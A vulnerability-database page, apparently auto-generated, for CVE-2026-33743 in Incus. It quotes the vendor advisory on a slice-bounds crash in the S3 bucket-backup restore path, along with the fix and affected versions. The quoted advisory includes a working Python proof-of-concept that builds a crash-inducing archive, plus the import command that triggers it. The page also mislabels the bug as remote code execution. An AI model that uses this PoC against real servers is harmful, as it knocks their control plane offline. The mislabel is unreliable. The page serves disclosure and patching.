CVE-2026-33743: Github.com/lxc/incus/v6 Remote Code Execution Vulnerability

MODERATE
Advisory Identifier: GHSA-vg76-xmhg-j5x3
CVSS 6.5
CWE-770
Published
Advisory Summary

CVE-2026-33743 is a MODERATE (CVSS 6.5) remote code execution vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Github.com/lxc/incus/v6 libraries in the Go ecosystem. The issue involves incus vulnerable to denial of source through crafted bucket backup file. Remediation is available by upgrading affected packages to version 6.23.0.

CVE-2026-33743 at a Glance

CVE Identifier CVE-2026-33743
GHSA Identifier GHSA-vg76-xmhg-j5x3
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Github.com/lxc/incus/v6
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-33743

To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v6 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lxc/incus/v6 fixed: 6.23.0
Upgrade github.com/lxc/incus/v6 to 6.23.0
github.com/lxc/incus fixed: Latest secure release
Upgrade github.com/lxc/incus to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lxc/incus/v6

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33743, inspect your project dependencies for Github.com/lxc/incus/v6:

inspect dependencies for github.com/lxc/incus/v6

Analyze the terminal output to locate any version of Github.com/lxc/incus/v6 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.23.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Github.com/lxc/incus/v6, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A specially crafted storage bucket backup can be used by an user with access to Incus' storage bucket feature to crash the Incus daemon. Repeated use of this attack can be used to keep the server offline causing a denial of service of the control plane API. This does not impact any running workload, existing containers and virtual machines will keep operating. ### Details The S3 transfer manager contains an unchecked string slicing vulnerability that allows an authenticated attacker to crash the daemon during S3 restore operations. While processing tar headers from a supplied backup archive, the code skips only the index entry and strips the expected bucket prefix from all other entries without first validating the header name. In Go, slicing a string with a starting index beyond the string length triggers a runtime panic. Because no prefix or length validation is performed before this operation, a malicious archive containing a non-index entry with a shorter-than-expected header name can trigger a slice-bounds panic and terminate the daemon. This results in immediate denial of service on the node. Affected File: https://github.com/lxc/incus/blob/v6.20.0/internal/server/storage/s3/transfer_manager.go Affected Code: ``` func (t TransferManager) UploadAllFiles(bucketName string, srcData io.ReadSeeker) error { [...] for { hdr, err := tr.Next() if err == io.EOF { break // End of archive. } // Skip index.yaml file if hdr.Name == "backup/index.yaml" { continue } // Skip directories because they are part of the key of an actual file fileName := hdr.Name[len("backup/bucket/"):] _, err = minioClient.PutObject(ctx, bucketName, fileName, tr, -1, minio.PutObjectOptions{}) if err != nil { return err } } return nil } ``` ### PoC The following PoC demonstrates that a malformed backup archive containing a non-index tar entry with a shorter-than-expected name can trigger a slice-bounds panic in the S3 restore path and terminate the incusd daemon. Step 1: Enable the storage buckets listener On the Incus host, enable the storage buckets listener so that the S3 transfer path can initialize correctly during import. Command: ``` incus config set core.storage_buckets_address :4443 ``` Step 2: Create the malicious archive From a client or workstation with Python available, create a crafted backup archive that contains a valid backup/index.yaml entry followed by a second entry whose name is shorter than the expected backup/bucket/ prefix length. Commands: ``` cat <<EOF > poc_s3_slicing.py import tarfile import io import yaml index_data = { "name": "s3-slice-panic", "config": { "bucket": { "description": "Bypassing metadata checks", "config": {} }, "bucket_keys": [ { "name": "poc-key", "role": "admin", "description": "Bypassing key lookup", "access-key": "AAAAAAAAAAAAAAAAAAAA", "secret-key": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" } ] } } malicious_file = "backup/x" with tarfile.open("s3_panic.tar.gz", "w:gz") as tar: content = yaml.dump(index_data).encode("utf-8") idx_info = tarfile.TarInfo(name="backup/index.yaml") idx_info.size = len(content) tar.addfile(idx_info, io.BytesIO(content)) panic_content = b"trigger_s3_panic" p_info = tarfile.TarInfo(name=malicious_file) p_info.size = len(panic_content) tar.addfile(p_info, io.BytesIO(panic_content)) print("[+] PoC Tarball Created: s3_panic.tar.gz") EOF ``` python3 poc_s3_slicing.py Result: ``` [+] PoC Tarball Created: s3_panic.tar.gz ``` Step 3: Trigger the vulnerable import path From an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool. Command: ``` incus storage bucket import local-pool s3_panic.tar.gz panic-test ``` Result: ``` Error: Operation not found ``` Step 4: Verify the daemon panic On the Incus host, inspect the service logs and confirm that the daemon terminated with a slice-bounds panic in TransferManager.UploadAllFiles. Command: ``` journalctl -u incus -n 50 | grep -A 15 "panic" ``` Result: ``` panic: runtime error: slice bounds out of range [14:8] goroutine [running]: github.com/lxc/incus/v6/internal/server/storage/s3.TransferManager.UploadAllFiles(...) /home/stgraber/Code/lxc/incus/internal/server/storage/s3/transfer_manager.go:139 ``` It is recommended to validate that the header name begins with the expected bucket prefix and is at least as long as that prefix before slicing the string. If the entry does not match the expected archive format, the function should return a normal validation error and abort processing safely rather than allowing a runtime panic. ### Credit This issue was discovered and reported by the team at [7asecurity](https://7asecurity.com/)

CVE-2026-33743 Affected Github.com/lxc/incus/v6 Versions

2 component(s)
Fixed Versions:
6.23.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lxc/incus/v6
Go
< 6.23.0
6.23.0
github.com/lxc/incus
Go
≤ 0.7.0

References

Frequently Asked Questions

What is CVE-2026-33743?
CVE-2026-33743 is a security vulnerability in Github.com/lxc/incus/v6 involving Incus vulnerable to denial of source through crafted bucket backup file under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Github.com/lxc/incus/v6 versions are affected?
Affected versions include releases prior to 6.23.0 across affected packages: github.com/lxc/incus/v6, github.com/lxc/incus.
What version fixes CVE-2026-33743?
Upgrading to 6.23.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lxc/incus/v6 affected?
Yes, github.com/lxc/incus/v6 is affected in releases prior to 6.23.0. Upgrade your dependency to 6.23.0 or later.
Is github.com/lxc/incus affected?
Yes, github.com/lxc/incus is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-33743?
CVE-2026-33743 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-33743?
CVE-2026-33743 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Go dependencies for CVE-2026-33743?
Run the dependency tree command: 'inspect dependencies for github.com/lxc/incus/v6'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vg76-xmhg-j5x3",
  "modified" : "2026-03-27T17:12:11Z",
  "published" : "2026-03-27T17:12:11Z",
  "aliases" : [ "CVE-2026-33743" ],
  "summary" : "Incus vulnerable to denial of source through crafted bucket backup file",
  "details" : "### Summary\nA specially crafted storage bucket backup can be used by an user with access to Incus' storage bucket feature to crash the Incus daemon. Repeated use of this attack can be used to keep the server offline causing a denial of service of the control plane API.\n\nThis does not impact any running workload, existing containers and virtual machines will keep operating.\n\n### Details\n\nThe S3 transfer manager contains an unchecked string slicing vulnerability that allows an authenticated attacker to crash the daemon during S3 restore operations. While processing tar headers from a supplied backup archive, the code skips only the index entry and strips the expected bucket prefix from all other entries without first validating the header name.\n\nIn Go, slicing a string with a starting index beyond the string length triggers a runtime panic. Because no prefix or length validation is performed before this operation, a malicious archive containing a non-index entry with a shorter-than-expected header name can trigger a slice-bounds panic and terminate the daemon. This results in immediate denial of service on the node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.20.0/internal/server/storage/s3/transfer_manager.go \n\nAffected Code:\n```\nfunc (t TransferManager) UploadAllFiles(bucketName string, srcData io.ReadSeeker) error {\n    [...]\n    for {\n        hdr, err := tr.Next()\n        if err == io.EOF {\n            break // End of archive.\n        }\n\n        // Skip index.yaml file\n        if hdr.Name == \"backup/index.yaml\" {\n            continue\n        }\n\n        // Skip directories because they are part of the key of an actual file\n        fileName := hdr.Name[len(\"backup/bucket/\"):]\n\n        _, err = minioClient.PutObject(ctx, bucketName, fileName, tr, -1, minio.PutObjectOptions{})\n        if err != nil {\n            return err\n        }\n    }\n\n    return nil\n}\n```\n\n### PoC\n\nThe following PoC demonstrates that a malformed backup archive containing a non-index tar entry with a shorter-than-expected name can trigger a slice-bounds panic in the S3 restore path and terminate the incusd daemon.\n\nStep 1: Enable the storage buckets listener\n\nOn the Incus host, enable the storage buckets listener so that the S3 transfer path can initialize correctly during import.\n\nCommand:\n```\nincus config set core.storage_buckets_address :4443\n```\n\nStep 2: Create the malicious archive\n\nFrom a client or workstation with Python available, create a crafted backup archive that contains a valid backup/index.yaml entry followed by a second entry whose name is shorter than the expected backup/bucket/ prefix length.\n\nCommands:\n```\ncat <<EOF > poc_s3_slicing.py\nimport tarfile\nimport io\nimport yaml\n\nindex_data = {\n    \"name\": \"s3-slice-panic\",\n    \"config\": {\n        \"bucket\": {\n            \"description\": \"Bypassing metadata checks\",\n            \"config\": {}\n        },\n        \"bucket_keys\": [\n            {\n                \"name\": \"poc-key\",\n                \"role\": \"admin\",\n                \"description\": \"Bypassing key lookup\",\n                \"access-key\": \"AAAAAAAAAAAAAAAAAAAA\",\n                \"secret-key\": \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n            }\n        ]\n    }\n}\n\nmalicious_file = \"backup/x\"\n\nwith tarfile.open(\"s3_panic.tar.gz\", \"w:gz\") as tar:\n    content = yaml.dump(index_data).encode(\"utf-8\")\n    idx_info = tarfile.TarInfo(name=\"backup/index.yaml\")\n    idx_info.size = len(content)\n    tar.addfile(idx_info, io.BytesIO(content))\n\n    panic_content = b\"trigger_s3_panic\"\n    p_info = tarfile.TarInfo(name=malicious_file)\n    p_info.size = len(panic_content)\n    tar.addfile(p_info, io.BytesIO(panic_content))\n\nprint(\"[+] PoC Tarball Created: s3_panic.tar.gz\")\nEOF\n```\n\npython3 poc_s3_slicing.py\n\nResult:\n```\n[+] PoC Tarball Created: s3_panic.tar.gz\n```\n\nStep 3: Trigger the vulnerable import path\n\nFrom an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool.\n\nCommand:\n```\nincus storage bucket import local-pool s3_panic.tar.gz panic-test\n```\n\nResult:\n```\nError: Operation not found\n```\n\nStep 4: Verify the daemon panic\n\nOn the Incus host, inspect the service logs and confirm that the daemon terminated with a slice-bounds panic in TransferManager.UploadAllFiles.\n\nCommand:\n```\njournalctl -u incus -n 50 | grep -A 15 \"panic\"\n```\n\nResult:\n```\npanic: runtime error: slice bounds out of range [14:8]\ngoroutine [running]:\ngithub.com/lxc/incus/v6/internal/server/storage/s3.TransferManager.UploadAllFiles(...)\n/home/stgraber/Code/lxc/incus/internal/server/storage/s3/transfer_manager.go:139\n```\n\nIt is recommended to validate that the header name begins with the expected bucket prefix and is at least as long as that prefix before slicing the string. If the entry does not match the expected archive format, the function should return a normal validation error and abort processing safely rather than allowing a runtime panic.\n\n### Credit\nThis issue was discovered and reported by the team at [7asecurity](https://7asecurity.com/)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v6"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.23.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.7.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-vg76-xmhg-j5x3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33743"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/commit/4bca6332e8227a5f25f74b51a66b7382e9133aaa"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/releases/tag/v6.23.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-27T17:12:11Z",
    "nvd_published_at" : "2026-03-26T23:16:20Z"
  }
}